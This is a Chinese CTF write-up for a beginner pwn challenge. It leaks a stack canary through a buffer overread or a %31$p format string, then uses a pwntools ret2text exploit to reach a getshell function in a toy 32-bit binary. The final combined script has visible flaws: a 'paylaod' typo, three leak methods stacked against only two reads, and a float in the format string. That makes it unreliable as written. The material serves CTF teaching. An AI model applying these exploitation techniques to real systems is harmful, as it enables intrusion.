南森新生赛[Pwn]overflow-wp

本文最后更新于:2023年3月10日 晚上

checksec:

1
2
3
4
5
6
7
ubuntu@ubuntu:~/Desktop$ checksec overflow
[*] '/home/ubuntu/Desktop/overflow'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

相应地,使用ida打开它

1
2
3
4
5
6
7
int __cdecl main(int argc, const char **argv, const char **envp)
{
init(&argc);
puts("Hello Hacker!");
vuln();
return 0;
} //main
1
2
3
4
5
6
7
8
9
10
11
12
13
14
unsigned int vuln()
{
int i; // [esp+4h] [ebp-74h]
char buf[100]; // [esp+8h] [ebp-70h] BYREF
unsigned int v3; // [esp+6Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
for ( i = 0; i <= 1; ++i )
{
read(0, buf, 0x200u);
printf(buf);
}
return __readgsdword(0x14u) ^ v3;
} //vuln
1
2
3
4
int getshell()
{
return system("/bin/sh");
} //getshell

出现了很明显的格式化字符串和栈溢出漏洞。

很明显,本题希望考察学生对于canary的泄露、格式化字符串的利用(可能)、ret2text。

Canary的位置在char类型串后,由于小端序,Canary的“开头”是’\x00’,用于截断。__stack_chk_fail函数也只会检查另外的三字节。本题泄露canary存在二解。

第一解,由于buf长度100,于是第一次输入可以用sendline去输入100个字符,或是send去输入101个字符,再用recv接收。

1
2
3
4
payload = b'a' * 100
io.sendlineafter(b"Hacker!\n", payload)
io.recvuntil(b'a' * 100)
canary = u32(io.recv(4)) - 0xa

1
2
3
4
payload = b'a' * 100
io.sendlineafter(b'Hacker\n', payload)
io.recvuntil(b'\x0a')
canary = u32(b'\x00' + io.recv(3))

第二解,由于存在格式化字符串漏洞,可以使用%p %08x等尝试找出偏移。

首先直接利用%p查找偏移

1
2
3
4
ubuntu@ubuntu:~/Desktop$ ./overflow
Hello Hacker!
AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
AAAA-0xffaa13a8-0x200-0x80492d3-0xf7f9dd80-(nil)-0x41414141-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70

1
2
3
4
ubuntu@ubuntu:~/Desktop$ ./overflow
Hello Hacker!
AAAA.%1$p.%2$p.%3$p.%4$p.%5$p.[%6$p].%7$p.%8$p
AAAA.0xff806168.0x200.0x80492d3.0xf7ebdd80.(nil).[0x41414141].0x2431252e.0x32252e70

(由于已知其偏移,在第二次利用选择了让读者更明晰地找到偏移对应位置的美化)

等,均可找到输入对应偏移为6.

本文作者更喜欢用%p去获得值,故本处使用%p去尝试获得canary。

首先已知buf可存储100字节,在32位程序中,每个%p可取四字节内容(与类C语言中的指针意义类似,在8位程序中为1字,16位程序中为2字,32位程序中为4字,64位程序中为8字,计算方法为x/8=y),因此,若无偏移,则在(100/4)%25$p处可以得到canary的值,有6位偏移,则在(25+6=)%31$p处可以得到canary,recv方法基本同上。

1
2
3
payload = b'%31$p'
io.sendlineafter(b"Hacker!\n", payload)
canary = int(io.recvuntil(b"00"), 16)

由此得到的canary便可在直接放在char字符串的后面构建payload,并最终执行ret2text:

payload = b'a' * 100 + p32(canary) + b'a' * 0xC + p32(sh_addr)

payload = flat([b'a' * 100, canary, b'a' * 0xC, p32(sh_addr)])

此处0xC已经包含了ebp(savedregs)。

于是,整理后的exp即为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval(s)))

context.log_level = "debug"
text = "./overflow"
# io = remote("",)
io = process(text)
elf = ELF(text)
sh_addr = elf.sym['getshell'] # sh_addr = 0x08049236
# -------------------- payload1_0x1 -------------------- #
payload = b'a' * 100
io.sendlineafter(b'Hacker!\n', payload)
io.recvuntil(b"a" * 100)
canary = u32(io.recv(4)) - 0xa
# -------------------- payload1_0x2 -------------------- #
paylaod = b'a' * 100
io.sendlineafter(b'Hacker!\n', payload)
io.recvuntil(b'\x0a')
canary = u32(b'\x00' + io.recv(3))
# -------------------- payload1_0x3 -------------------- #
step = 6
num = step + (0x70 - 0xC) / 4 # 0x70-0xC=100,即buf大小
payload = '%' + str(num) + '$p'
io.sendlineafter(b'Hacker!\n', payload)
canary = int(io.recvuntil(b"00"), 16)

lg("canary")

payload = b'a' * 100 + p32(canary) + b'a' * 0xC + p32(sh_addr)

io.sendline(payload)

io.interactive()

南森新生赛[Pwn]overflow-wp
http://example.com/2023/03/05/南森新生赛-Pwn-overflow-wp/
作者
OSLike
发布于
2023年3月5日
许可协议